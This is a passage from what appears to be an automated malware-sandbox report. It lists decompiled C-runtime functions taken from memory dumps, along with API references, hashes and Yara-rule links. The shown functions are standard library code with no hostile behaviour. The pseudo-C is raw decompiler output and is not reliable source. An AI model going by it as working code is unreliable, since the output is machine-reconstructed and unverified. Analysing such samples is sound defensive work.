						_t28 =  *((intOrPtr*)(E00410735(_t22, __edx, _t26, _t32) + 0x6c));
					}
				}
				if(_t28 == 0) {
					E0040E79A(_t25, _t26, 0x20);
				}
				return E0040E21D(_t28);
			}







                                        0x00414738
                                        0x00414738
                                        0x00414738
                                        0x00414738
                                        0x00414738
                                        0x0041473a
                                        0x0041473f
                                        0x00414749
                                        0x0041474b
                                        0x00414753
                                        0x00414777
                                        0x00414779
                                        0x0041477f
                                        0x00414783
                                        0x00414786
                                        0x00414791
                                        0x00414794
                                        0x0041479b
                                        0x00414755
                                        0x00414755
                                        0x00414759
                                        0x00000000
                                        0x0041475b
                                        0x00414760
                                        0x00414760
                                        0x00414759
                                        0x00414765
                                        0x00414769
                                        0x0041476e
                                        0x00414776

                                        APIs
                                        • __getptd.LIBCMT ref: 00414744
                                          • Part of subcall function 00410735: __getptd_noexit.LIBCMT ref: 00410738
                                          • Part of subcall function 00410735: __amsg_exit.LIBCMT ref: 00410745
                                        • __getptd.LIBCMT ref: 0041475B
                                        • __amsg_exit.LIBCMT ref: 00414769
                                        • __lock.LIBCMT ref: 00414779
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.488060183.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000000.00000002.488149595.0000000000426000.00000040.00020000.sdmp Download File
                                        • Associated: 00000000.00000002.488170011.0000000000432000.00000040.00020000.sdmp Download File
                                        Similarity
                                        • API ID: __amsg_exit__getptd$__getptd_noexit__lock
                                        • String ID: @.B
                                        • API String ID: 3521780317-470711618
                                        • Opcode ID: f43c5434038c0e2b3130a40ea1e7b9b854db78837d0c16722a3a572f716d4dbb
                                        • Instruction ID: 91aff3cf2d6bbea4e2ea5d49e8e08bf0f41c3eb50374f8394f27d7b6c467aa53
                                        • Opcode Fuzzy Hash: f43c5434038c0e2b3130a40ea1e7b9b854db78837d0c16722a3a572f716d4dbb
                                        • Instruction Fuzzy Hash: 60F09631A407009BE720BB66850678D73A06F81719F91456FE4646B2D1CB7C6981CA5D
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 02094988, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 31COMMON
                                        Download Yara Rule
                                        APIs
                                        • __getptd.LIBCMT ref: 02094994
                                          • Part of subcall function 02090985: __getptd_noexit.LIBCMT ref: 02090988
                                          • Part of subcall function 02090985: __amsg_exit.LIBCMT ref: 02090995
                                        • __getptd.LIBCMT ref: 020949AB
                                        • __amsg_exit.LIBCMT ref: 020949B9
                                        • __lock.LIBCMT ref: 020949C9
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.489651781.0000000002080000.00000040.00000001.sdmp, Offset: 02080000, based on PE: false
                                        Similarity
                                        • API ID: __amsg_exit__getptd$__getptd_noexit__lock
                                        • String ID: @.B
                                        • API String ID: 3521780317-470711618
                                        • Opcode ID: f43c5434038c0e2b3130a40ea1e7b9b854db78837d0c16722a3a572f716d4dbb
                                        • Instruction ID: 970b6fc7926017ddd76e6f295737bde3e3f7949c61387fafb910d4436dc75895
                                        • Opcode Fuzzy Hash: f43c5434038c0e2b3130a40ea1e7b9b854db78837d0c16722a3a572f716d4dbb
                                        • Instruction Fuzzy Hash: B9F06D31A007109FEF61BF74D50178E72E2BB01720F414259E88AAB2D0CBA4A802BE51
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 0209494A, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29COMMON
                                        Download Yara Rule
                                        APIs
                                        • ___addlocaleref.LIBCMT ref: 0209495C
                                        • ___removelocaleref.LIBCMT ref: 02094967
                                        • ___freetlocinfo.LIBCMT ref: 0209497B
                                          • Part of subcall function 020946D9: ___free_lconv_mon.LIBCMT ref: 0209471F
                                          • Part of subcall function 020946D9: ___free_lconv_num.LIBCMT ref: 02094740
                                          • Part of subcall function 020946D9: ___free_lc_time.LIBCMT ref: 020947C5
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.489651781.0000000002080000.00000040.00000001.sdmp, Offset: 02080000, based on PE: false
                                        Similarity
                                        • API ID: ___addlocaleref___free_lc_time___free_lconv_mon___free_lconv_num___freetlocinfo___removelocaleref
                                        • String ID: @.B$@.B
                                        • API String ID: 4212647719-183327057
                                        • Opcode ID: 3857329619949c293296419ec2be8f51648e9d3bf58d3a63f1cc8ec60b1035b6
                                        • Instruction ID: 439febd467b80ece8a803112c36f8a3036ced06738e767e1ca7138f6e136b6fc
                                        • Opcode Fuzzy Hash: 3857329619949c293296419ec2be8f51648e9d3bf58d3a63f1cc8ec60b1035b6
                                        • Instruction Fuzzy Hash: 8FE02632E15B200DCE77261C68403AED2DE6F83268B1A0226E802EBB44EB244C83B495
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 0040C73D, Relevance: 7.6, APIs: 5, Instructions: 64COMMON
                                        Download Yara Rule
                                        C-Code - Quality: 77%
                                        			E0040C73D(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4) {
				intOrPtr _v8;
				void* _t16;
				void* _t17;
				intOrPtr _t19;
				void* _t21;
				signed int _t22;
				intOrPtr* _t27;
				intOrPtr _t39;
				intOrPtr _t40;
				intOrPtr _t50;

				_t37 = __edx;
				_push(8);
				_push(0x421140);
				E0040E1D8(__ebx, __edi, __esi);
				_t39 = _a4;
				_t50 = _t39;
				_t51 = _t50 != 0;
				if(_t50 != 0) {
					E0040FB29(_t39);
					_v8 = 0;
					 *(_t39 + 0xc) =  *(_t39 + 0xc) & 0xffffffcf;
					_t16 = E0040FA20(__edx, _t39, _t39);
					__eflags = _t16 - 0xffffffff;
					if(_t16 == 0xffffffff) {
						L6:
						_t17 = 0x4227e0;
					} else {
						_t21 = E0040FA20(__edx, _t39, _t39);
						__eflags = _t21 - 0xfffffffe;
						if(_t21 == 0xfffffffe) {
							goto L6;
						} else {
							_t22 = E0040FA20(__edx, _t39, _t39);
							_t17 = ((E0040FA20(_t37, _t39, _t39) & 0x0000001f) << 6) +  *((intOrPtr*)(0x423f60 + (_t22 >> 5) * 4));
						}
					}
					_t9 = _t17 + 4; // 0xa80
					 *(_t17 + 4) =  *_t9 & 0x000000fd;
					_v8 = 0xfffffffe;
					E0040C735(_t39);
					_t19 = 0;
					__eflags = 0;
				} else {
					_t27 = E0040BFC1(_t51);
					_t40 = 0x16;
					 *_t27 = _t40;
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					E0040E744(__edx, _t40, 0);
					_t19 = _t40;
				}
				return E0040E21D(_t19);
			}













                                        0x0040c73d
                                        0x0040c690
                                        0x0040c692
                                        0x0040c697
                                        0x0040c69e
                                        0x0040c6a3
                                        0x0040c6a8
                                        0x0040c6aa
                                        0x0040c6c8
                                        0x0040c6ce
                                        0x0040c6d1
                                        0x0040c6d6
                                        0x0040c6dc
                                        0x0040c6df
                                        0x0040c70f
                                        0x0040c70f
                                        0x0040c6e1
                                        0x0040c6e2
                                        0x0040c6e8
                                        0x0040c6eb
                                        0x00000000
                                        0x0040c6ed
                                        0x0040c6ee
                                        0x0040c70b
                                        0x0040c70b
                                        0x0040c6eb
                                        0x0040c714
                                        0x0040c71b
                                        0x0040c71e
                                        0x0040c725
                                        0x0040c72a
                                        0x0040c72a
                                        0x0040c6ac
                                        0x0040c6ac
                                        0x0040c6b3
                                        0x0040c6b4
                                        0x0040c6b6
                                        0x0040c6b7
                                        0x0040c6b8
                                        0x0040c6b9
                                        0x0040c6ba
                                        0x0040c6bb
                                        0x0040c6c3
                                        0x0040c6c3
                                        0x0040c731

                                        APIs
                                        • __lock_file.LIBCMT ref: 0040C6C8
                                        • __fileno.LIBCMT ref: 0040C6D6
                                        • __fileno.LIBCMT ref: 0040C6E2
                                        • __fileno.LIBCMT ref: 0040C6EE
                                        • __fileno.LIBCMT ref: 0040C6FE
                                          • Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1
                                          • Part of subcall function 0040E744: __decode_pointer.LIBCMT ref: 0040E74F
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.488060183.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000000.00000002.488149595.0000000000426000.00000040.00020000.sdmp Download File
                                        • Associated: 00000000.00000002.488170011.0000000000432000.00000040.00020000.sdmp Download File
                                        Similarity
                                        • API ID: __fileno$__decode_pointer__getptd_noexit__lock_file
                                        • String ID:
                                        • API String ID: 2805327698-0
                                        • Opcode ID: 2b0b2601706cdb465d4c9eff24f73974ea9fb0f2dbbf8fc2cbf9e4943b65d960
                                        • Instruction ID: db056c5abb1484b678344f3d998e50672bc49cccd6cfe868de5707b4f3f6250f
                                        • Opcode Fuzzy Hash: 2b0b2601706cdb465d4c9eff24f73974ea9fb0f2dbbf8fc2cbf9e4943b65d960
                                        • Instruction Fuzzy Hash: 1A01253231451096C261ABBE5CC246E76A0DE81734726877FF024BB1D2DB3C99429E9D
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 00413FCC, Relevance: 7.5, APIs: 5, Instructions: 47COMMON
                                        Download Yara Rule
                                        C-Code - Quality: 89%
                                        			E00413FCC(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t15;
				LONG* _t21;
				long _t23;
				void* _t31;
				LONG* _t33;
				void* _t34;
				void* _t35;

				_t35 = __eflags;
				_t29 = __edx;
				_t25 = __ebx;
				_push(0xc);
				_push(0x421490);
				E0040E1D8(__ebx, __edi, __esi);
				_t31 = E00410735(__ebx, __edx, __edi, _t35);
				_t15 =  *0x422e34; // 0xfffffffe
				if(( *(_t31 + 0x70) & _t15) == 0 ||  *((intOrPtr*)(_t31 + 0x6c)) == 0) {
					E0040D6E0(_t25, 0xd);
					 *(_t34 - 4) =  *(_t34 - 4) & 0x00000000;
					_t33 =  *(_t31 + 0x68);
					 *(_t34 - 0x1c) = _t33;
					__eflags = _t33 -  *0x422d38; // 0x20e1608
					if(__eflags != 0) {
						__eflags = _t33;
						if(_t33 != 0) {
							_t23 = InterlockedDecrement(_t33);
							__eflags = _t23;
							if(_t23 == 0) {
								__eflags = _t33 - 0x422910;
								if(__eflags != 0) {
									_push(_t33);
									E0040B6B5(_t25, _t31, _t33, __eflags);
								}
							}
						}
						_t21 =  *0x422d38; // 0x20e1608
						 *(_t31 + 0x68) = _t21;
						_t33 =  *0x422d38; // 0x20e1608
						 *(_t34 - 0x1c) = _t33;
						InterlockedIncrement(_t33);
					}
					 *(_t34 - 4) = 0xfffffffe;
					E00414067();
				} else {
					_t33 =  *(_t31 + 0x68);
				}
				if(_t33 == 0) {
					E0040E79A(_t29, _t31, 0x20);
				}
				return E0040E21D(_t33);
			}










                                        0x00413fcc
                                        0x00413fcc
                                        0x00413fcc
                                        0x00413fcc
                                        0x00413fce
                                        0x00413fd3
                                        0x00413fdd
                                        0x00413fdf
                                        0x00413fe7
                                        0x00414008
                                        0x0041400e
                                        0x00414012
                                        0x00414015
                                        0x00414018
                                        0x0041401e
                                        0x00414020
                                        0x00414022
                                        0x00414025
                                        0x0041402b
                                        0x0041402d
                                        0x0041402f
                                        0x00414035
                                        0x00414037
                                        0x00414038
                                        0x0041403d
                                        0x00414035
                                        0x0041402d
                                        0x0041403e
                                        0x00414043
                                        0x00414046
                                        0x0041404c
                                        0x00414050
                                        0x00414050
                                        0x00414056
                                        0x0041405d
                                        0x00413fef
                                        0x00413fef
                                        0x00413fef
                                        0x00413ff4
                                        0x00413ff8
                                        0x00413ffd
                                        0x00414005

                                        APIs
                                        • __getptd.LIBCMT ref: 00413FD8
                                          • Part of subcall function 00410735: __getptd_noexit.LIBCMT ref: 00410738
                                          • Part of subcall function 00410735: __amsg_exit.LIBCMT ref: 00410745
                                        • __amsg_exit.LIBCMT ref: 00413FF8
                                        • __lock.LIBCMT ref: 00414008
                                        • InterlockedDecrement.KERNEL32(?), ref: 00414025
                                        • InterlockedIncrement.KERNEL32(020E1608), ref: 00414050
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.488060183.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000000.00000002.488149595.0000000000426000.00000040.00020000.sdmp Download File
                                        • Associated: 00000000.00000002.488170011.0000000000432000.00000040.00020000.sdmp Download File
                                        Similarity
                                        • API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
                                        • String ID:
                                        • API String ID: 4271482742-0
                                        • Opcode ID: 75ed1ba79165a940210d4fbe753a496d3ed1b888d754918a7527295a16311c61
                                        • Instruction ID: 77fb08d543caf33888dccec20a3998fa005b1348dfeb798e4aa279577202aa48
                                        • Opcode Fuzzy Hash: 75ed1ba79165a940210d4fbe753a496d3ed1b888d754918a7527295a16311c61
                                        • Instruction Fuzzy Hash: 9301A531A01621ABD724AF67990579E7B60AF48764F50442BE814B72D0C77C6DC2CBDD
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 0209421C, Relevance: 7.5, APIs: 5, Instructions: 47COMMON
                                        Download Yara Rule
                                        APIs
                                        • __getptd.LIBCMT ref: 02094228
                                          • Part of subcall function 02090985: __getptd_noexit.LIBCMT ref: 02090988
                                          • Part of subcall function 02090985: __amsg_exit.LIBCMT ref: 02090995
                                        • __amsg_exit.LIBCMT ref: 02094248
                                        • __lock.LIBCMT ref: 02094258
                                        • InterlockedDecrement.KERNEL32(?), ref: 02094275
                                        • InterlockedIncrement.KERNEL32(00422D38), ref: 020942A0
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.489651781.0000000002080000.00000040.00000001.sdmp, Offset: 02080000, based on PE: false
                                        Similarity
                                        • API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
                                        • String ID:
                                        • API String ID: 4271482742-0
                                        • Opcode ID: 75ed1ba79165a940210d4fbe753a496d3ed1b888d754918a7527295a16311c61
                                        • Instruction ID: c39a313763b8f63025ee1df0adfa5e8d91af6f89331bc04c75827de0c2c9e0b9
                                        • Opcode Fuzzy Hash: 75ed1ba79165a940210d4fbe753a496d3ed1b888d754918a7527295a16311c61
                                        • Instruction Fuzzy Hash: 3A010431A00720ABDF61FB64D90079EB3A1BF45710F810015E859A7290C774A842FFD9
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 0209114A, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 129COMMON
                                        Download Yara Rule
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.489651781.0000000002080000.00000040.00000001.sdmp, Offset: 02080000, based on PE: false
                                        Similarity
                                        • API ID:
                                        • String ID: $2$l
                                        • API String ID: 0-3132104027
                                        • Opcode ID: 93ec677eb6f37e13f038257329e2d2bc6cd763e678568b4eabc98800338fe0cb
                                        • Instruction ID: 48e4cae922be192589dae505b9649acffbc48a6b06518dc3293ae5c3462cc89e
                                        • Opcode Fuzzy Hash: 93ec677eb6f37e13f038257329e2d2bc6cd763e678568b4eabc98800338fe0cb
                                        • Instruction Fuzzy Hash: 0941C634A4536A9EEF768E1888983F8BBF2AB06315F1441C6C0DF6A195C7750B86FF41
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 0208FCA8, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 69COMMON
                                        Download Yara Rule
                                        APIs
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.489651781.0000000002080000.00000040.00000001.sdmp, Offset: 02080000, based on PE: false
                                        Similarity
                                        • API ID: __calloc_crt
                                        • String ID: P$B$`$B
                                        • API String ID: 3494438863-235554963
                                        • Opcode ID: fdf4f6b62053dea64867d0c1085960dee66dbdb5e7cbac4bce55836661d1e8cf
                                        • Instruction ID: c1fbe17166658ac44ec48a320ed21b3b538c5baab8ab979677bd0b11dd0aa61a
                                        • Opcode Fuzzy Hash: fdf4f6b62053dea64867d0c1085960dee66dbdb5e7cbac4bce55836661d1e8cf
                                        • Instruction Fuzzy Hash: B8113A313047135BE725AA3D7D58BA623C3FB85324BE44237E715CA6D0FB70D4826648
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 00413610, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38libraryloaderCOMMON
                                        Download Yara Rule
                                        C-Code - Quality: 65%
                                        			E00413610() {
				signed long long _v12;
				signed int _v20;
				signed long long _v28;
				signed char _t8;

				_t8 = GetModuleHandleA("KERNEL32");
				if(_t8 == 0) {
					L6:
					_v20 =  *0x41fb50;
					_v28 =  *0x41fb48;
					asm("fsubr qword [ebp-0x18]");
					_v12 = _v28 / _v20 * _v20;
					asm("fld1");
					asm("fcomp qword [ebp-0x8]");
					asm("fnstsw ax");
					if((_t8 & 0x00000005) != 0) {
						return 0;
					} else {
						return 1;
					}
				} else {
					__eax = GetProcAddress(__eax, "IsProcessorFeaturePresent");
					if(__eax == 0) {
						goto L6;
					} else {
						_push(0);
						return __eax;
					}
				}
			}







                                        0x00413615
                                        0x0041361d
                                        0x00413634
                                        0x004135e0
                                        0x004135e9
                                        0x004135f5
                                        0x004135f8
                                        0x004135fb
                                        0x004135fd
                                        0x00413600
                                        0x00413605
                                        0x0041360f
                                        0x00413607
                                        0x0041360b
                                        0x0041360b
                                        0x0041361f
                                        0x00413625
                                        0x0041362d
                                        0x00000000
                                        0x0041362f
                                        0x0041362f
                                        0x00413633
                                        0x00413633
                                        0x0041362d

                                        APIs
                                        • GetModuleHandleA.KERNEL32(KERNEL32,0040CDF5), ref: 00413615
                                        • GetProcAddress.KERNEL32(00000000,IsProcessorFeaturePresent), ref: 00413625
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.488060183.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000000.00000002.488149595.0000000000426000.00000040.00020000.sdmp Download File
                                        • Associated: 00000000.00000002.488170011.0000000000432000.00000040.00020000.sdmp Download File
                                        Similarity
                                        • API ID: AddressHandleModuleProc
                                        • String ID: IsProcessorFeaturePresent$KERNEL32
                                        • API String ID: 1646373207-3105848591
                                        • Opcode ID: 118b5162a474c003ae69c9300a13838c9d8123de4a3b48a289e819fb4020d245
                                        • Instruction ID: 3bb3582238f4ecb0ba7b9e8fe578e45fdcf0af3c55e5dfe2a5e3893bc0ad87fb
                                        • Opcode Fuzzy Hash: 118b5162a474c003ae69c9300a13838c9d8123de4a3b48a289e819fb4020d245
                                        • Instruction Fuzzy Hash: 96F06230600A09E2DB105FA1ED1E2EFBB74BB80746F5101A19196B0194DF38D0B6825A
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 02081B40, Relevance: 6.3, APIs: 5, Instructions: 77stringCOMMON
                                        Download Yara Rule
                                        APIs
                                        • lstrlen.KERNEL32(?), ref: 02081B56
                                        • MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000001), ref: 02081B7F
                                        • GetLastError.KERNEL32 ref: 02081B90
                                        • MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000000), ref: 02081BA8
                                        • MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000000), ref: 02081BD0
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.489651781.0000000002080000.00000040.00000001.sdmp, Offset: 02080000, based on PE: false
                                        Similarity
                                        • API ID: ByteCharMultiWide$ErrorLastlstrlen
                                        • String ID:
                                        • API String ID: 3322701435-0
                                        • Opcode ID: dc08e0b6a0031b3e1018e6655837127b4a51d66f486618f8dc54bc0ca8c4194d
                                        • Instruction ID: 2e2ecb9f9207a9add6d193458201c0a4b9f6c4870a8eeb8938118895404d5c20
                                        • Opcode Fuzzy Hash: dc08e0b6a0031b3e1018e6655837127b4a51d66f486618f8dc54bc0ca8c4194d
                                        • Instruction Fuzzy Hash: C211C4315003147BD330A755DC88F67BF6CEF86BA9F008114FD999B281D721A805C6F5
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 0040C748, Relevance: 6.1, APIs: 4, Instructions: 148COMMON
                                        Download Yara Rule
                                        C-Code - Quality: 86%
                                        			E0040C748(void* __edx, void* __esi, char _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				void* __ebx;
				void* __edi;
				void* __ebp;
				signed int _t70;
				signed int _t71;
				intOrPtr _t73;
				signed int _t75;
				signed int _t81;
				char _t82;
				signed int _t84;
				intOrPtr* _t86;
				signed int _t87;
				intOrPtr* _t90;
				signed int _t92;
				signed int _t94;
				void* _t96;
				signed char _t98;
				signed int _t99;
				intOrPtr _t102;
				signed int _t103;
				intOrPtr* _t104;
				signed int _t111;
				signed int _t114;
				intOrPtr _t115;

				_t105 = __esi;
				_t97 = __edx;
				_t104 = _a4;
				_t87 = 0;
				_t121 = _t104;
				if(_t104 != 0) {
					_t70 = E0040FA20(__edx, _t104, _t104);
					__eflags =  *(_t104 + 4);
					_v8 = _t70;
					if(__eflags < 0) {
						 *(_t104 + 4) = 0;
					}
					_push(1);
					_push(_t87);
					_push(_t70);
					_t71 = E00411939(_t87, _t97, _t104, _t105, __eflags);
					__eflags = _t71 - _t87;
					_v12 = _t71;
					if(_t71 < _t87) {
						L2:
						return _t71 | 0xffffffff;
					} else {
						_t98 =  *(_t104 + 0xc);
						__eflags = _t98 & 0x00000108;
						if((_t98 & 0x00000108) != 0) {
							_t73 =  *_t104;
							_t92 =  *(_t104 + 8);
							_push(_t105);
							_v16 = _t73 - _t92;
							__eflags = _t98 & 0x00000003;
							if((_t98 & 0x00000003) == 0) {
								__eflags = _t98;
								if(__eflags < 0) {
									L15:
									__eflags = _v12 - _t87;
									if(_v12 != _t87) {
										__eflags =  *(_t104 + 0xc) & 0x00000001;
										if(( *(_t104 + 0xc) & 0x00000001) == 0) {
											L40:
											_t75 = _v16 + _v12;
											__eflags = _t75;
											L41:
											return _t75;
										}
										_t99 =  *(_t104 + 4);
										__eflags = _t99 - _t87;
										if(_t99 != _t87) {
											_t90 = 0x423f60 + (_v8 >> 5) * 4;
											_a4 = _t73 - _t92 + _t99;
											_t111 = (_v8 & 0x0000001f) << 6;
											__eflags =  *( *_t90 + _t111 + 4) & 0x00000080;
											if(__eflags == 0) {
												L39:
												_t66 =  &_v12;
												 *_t66 = _v12 - _a4;
												__eflags =  *_t66;
												goto L40;
											}
											_push(2);
											_push(0);
											_push(_v8);
											__eflags = E00411939(_t90, _t99, _t104, _t111, __eflags) - _v12;
											if(__eflags != 0) {
												_push(0);
												_push(_v12);
												_push(_v8);
												_t81 = E00411939(_t90, _t99, _t104, _t111, __eflags);
												__eflags = _t81;
												if(_t81 >= 0) {
													_t82 = 0x200;
													__eflags = _a4 - 0x200;
													if(_a4 > 0x200) {
														L35:
														_t82 =  *((intOrPtr*)(_t104 + 0x18));
														L36:
														_a4 = _t82;
														__eflags =  *( *_t90 + _t111 + 4) & 0x00000004;
														L37:
														if(__eflags != 0) {
															_t63 =  &_a4;
															 *_t63 = _a4 + 1;
															__eflags =  *_t63;
														}
														goto L39;
													}
													_t94 =  *(_t104 + 0xc);
													__eflags = _t94 & 0x00000008;
													if((_t94 & 0x00000008) == 0) {
														goto L35;
													}
													__eflags = _t94 & 0x00000400;
													if((_t94 & 0x00000400) == 0) {
														goto L36;
													}
													goto L35;
												}
												L31:
												_t75 = _t81 | 0xffffffff;
												goto L41;
											}
											_t84 =  *(_t104 + 8);
											_t96 = _a4 + _t84;
											while(1) {
												__eflags = _t84 - _t96;
												if(_t84 >= _t96) {
													break;
												}
												__eflags =  *_t84 - 0xa;
												if( *_t84 == 0xa) {
													_t44 =  &_a4;
													 *_t44 = _a4 + 1;
													__eflags =  *_t44;
												}
												_t84 = _t84 + 1;
												__eflags = _t84;
											}
											__eflags =  *(_t104 + 0xc) & 0x00002000;
											goto L37;
										}
										_v16 = _t87;
										goto L40;
									}
									_t75 = _v16;
									goto L41;
								}
								_t81 = E0040BFC1(__eflags);
								 *_t81 = 0x16;
								goto L31;
							}
							_t102 =  *((intOrPtr*)(0x423f60 + (_v8 >> 5) * 4));
							_t114 = (_v8 & 0x0000001f) << 6;
							__eflags =  *(_t102 + _t114 + 4) & 0x00000080;
							if(( *(_t102 + _t114 + 4) & 0x00000080) == 0) {
								goto L15;
							}
							_t103 = _t92;
							__eflags = _t103 - _t73;
							if(_t103 >= _t73) {
								goto L15;
							}
							_t115 = _t73;
							do {
								__eflags =  *_t103 - 0xa;
								if( *_t103 == 0xa) {
									_v16 = _v16 + 1;
									_t87 = 0;
									__eflags = 0;
								}
								_t103 = _t103 + 1;
								__eflags = _t103 - _t115;
							} while (_t103 < _t115);
							goto L15;
						}
						return _t71 -  *(_t104 + 4);
					}
				}
				_t86 = E0040BFC1(_t121);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				 *_t86 = 0x16;
				_t71 = E0040E744(__edx, _t104, __esi);
				goto L2;
			}






























                                        0x0040c748
                                        0x0040c748
                                        0x0040c752
                                        0x0040c755
                                        0x0040c757
                                        0x0040c759
                                        0x0040c77c
                                        0x0040c781
                                        0x0040c785
                                        0x0040c788
                                        0x0040c78a
                                        0x0040c78a
                                        0x0040c78d
                                        0x0040c78f
                                        0x0040c790
                                        0x0040c791
                                        0x0040c799
                                        0x0040c79b
                                        0x0040c79e
                                        0x0040c773
                                        0x00000000
                                        0x0040c7a0
                                        0x0040c7a0
                                        0x0040c7a3
                                        0x0040c7a9
                                        0x0040c7b3
                                        0x0040c7b5
                                        0x0040c7b8
                                        0x0040c7bd
                                        0x0040c7c0
                                        0x0040c7c3
                                        0x0040c806
                                        0x0040c808
                                        0x0040c7f9
                                        0x0040c7f9
                                        0x0040c7fc
                                        0x0040c81a
                                        0x0040c81e
                                        0x0040c8d8
                                        0x0040c8de
                                        0x0040c8de
                                        0x0040c8e0
                                        0x00000000
                                        0x0040c8e0
                                        0x0040c824
                                        0x0040c827
                                        0x0040c829
                                        0x0040c843
                                        0x0040c84a
                                        0x0040c84f
                                        0x0040c852
                                        0x0040c857
                                        0x0040c8d2
                                        0x0040c8d5
                                        0x0040c8d5
                                        0x0040c8d5
                                        0x00000000
                                        0x0040c8d5
                                        0x0040c859
                                        0x0040c85b
                                        0x0040c85d
                                        0x0040c868
                                        0x0040c86b
                                        0x0040c88d
                                        0x0040c88f
                                        0x0040c892
                                        0x0040c895
                                        0x0040c89d
                                        0x0040c89f
                                        0x0040c8a6
                                        0x0040c8ab
                                        0x0040c8ae
                                        0x0040c8c0
                                        0x0040c8c0
                                        0x0040c8c3
                                        0x0040c8c3
                                        0x0040c8c8
                                        0x0040c8cd
                                        0x0040c8cd
                                        0x0040c8cf
                                        0x0040c8cf
                                        0x0040c8cf
                                        0x0040c8cf
                                        0x00000000
                                        0x0040c8cd
                                        0x0040c8b0
                                        0x0040c8b3
                                        0x0040c8b6
                                        0x00000000
                                        0x00000000
                                        0x0040c8b8
                                        0x0040c8be
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x0040c8be
                                        0x0040c8a1
                                        0x0040c8a1
                                        0x00000000
                                        0x0040c8a1
                                        0x0040c86d
                                        0x0040c873
                                        0x0040c880
                                        0x0040c880
                                        0x0040c882
                                        0x00000000
                                        0x00000000
                                        0x0040c877
                                        0x0040c87a
                                        0x0040c87c
                                        0x0040c87c
                                        0x0040c87c
                                        0x0040c87c
                                        0x0040c87f
                                        0x0040c87f
                                        0x0040c87f
                                        0x0040c884
                                        0x00000000
                                        0x0040c884
                                        0x0040c82b
                                        0x00000000
                                        0x0040c82b
                                        0x0040c7fe
                                        0x00000000
                                        0x0040c7fe
                                        0x0040c80a
                                        0x0040c80f
                                        0x00000000
                                        0x0040c80f
                                        0x0040c7ce
                                        0x0040c7d8
                                        0x0040c7db
                                        0x0040c7e0
                                        0x00000000
                                        0x00000000
                                        0x0040c7e2
                                        0x0040c7e4
                                        0x0040c7e6
                                        0x00000000
                                        0x00000000
                                        0x0040c7e8
                                        0x0040c7ea
                                        0x0040c7ea
                                        0x0040c7ed
                                        0x0040c7ef
                                        0x0040c7f2
                                        0x0040c7f2
                                        0x0040c7f2
                                        0x0040c7f4
                                        0x0040c7f5
                                        0x0040c7f5
                                        0x00000000
                                        0x0040c7ea
                                        0x00000000
                                        0x0040c7ab
                                        0x0040c79e
                                        0x0040c75b
                                        0x0040c760
                                        0x0040c761
                                        0x0040c762
                                        0x0040c763
                                        0x0040c764
                                        0x0040c765
                                        0x0040c76b
                                        0x00000000

                                        APIs
                                        • __fileno.LIBCMT ref: 0040C77C
                                        • __locking.LIBCMT ref: 0040C791
                                          • Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1
                                          • Part of subcall function 0040E744: __decode_pointer.LIBCMT ref: 0040E74F
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.488060183.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000000.00000002.488149595.0000000000426000.00000040.00020000.sdmp Download File
                                        • Associated: 00000000.00000002.488170011.0000000000432000.00000040.00020000.sdmp Download File
                                        Similarity
                                        • API ID: __decode_pointer__fileno__getptd_noexit__locking
                                        • String ID:
                                        • API String ID: 2395185920-0
                                        • Opcode ID: a22d1fa1ad15e425548c743ff76317c9d1fdeb5a65110bd21edd49740b19d0ba
                                        • Instruction ID: 30055f4621fb528cea72007990449f1feb1a7f288d573051c200dc5e1a244c20
                                        • Opcode Fuzzy Hash: a22d1fa1ad15e425548c743ff76317c9d1fdeb5a65110bd21edd49740b19d0ba
                                        • Instruction Fuzzy Hash: CC51CF72E00209EBDB10AF69C9C0B59BBA1AF01355F14C27AD915B73D1D378AE41DB8D
                                        Uniqueness

                                        Uniqueness Score: -1.00%

